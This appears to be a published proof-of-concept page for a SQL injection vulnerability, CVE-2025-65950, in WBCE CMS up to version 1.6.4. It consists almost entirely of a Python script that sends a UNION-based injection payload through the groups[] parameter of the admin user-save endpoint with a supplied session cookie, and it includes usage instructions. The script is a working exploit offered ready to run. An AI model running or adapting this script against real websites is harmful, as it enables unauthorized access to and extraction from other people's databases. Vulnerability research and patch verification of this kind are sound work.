CVE-2025-65950 WBCE CMS SQL注入漏洞

import requests import sys # CVE-2025-65950 WBCE CMS SQL Injection PoC # Target: WBCE CMS <= 1.6.4 # Endpoint: /admin/users/save.php def exploit_sqli(target_url, session_cookie, user_id): """ SQL Injection via groups[] parameter in admin/users/save.php """ # Target endpoint endpoint = f"{target_url}/admin/users/save.php" # Construct malicious payload for groups[] parameter # Using UNION-based SQL injection to extract database version payload = "1' UNION SELECT @@version-- " # Prepare request data data = { 'user_id': user_id, 'groups[]': payload, 'display_name': 'test', 'email': '[email protected]' } # Headers with session cookie headers = { 'Cookie': f'WBCE_SESSION={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting SQLi via groups[] parameter") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent, check response for SQL output") print(f"[*] Response length: {len(response.text)}") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <session_cookie> <user_id>") print(f"Example: {sys.argv[0]} http://target.com 'abc123' 2") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] uid = sys.argv[3] exploit_sqli(target, cookie, uid)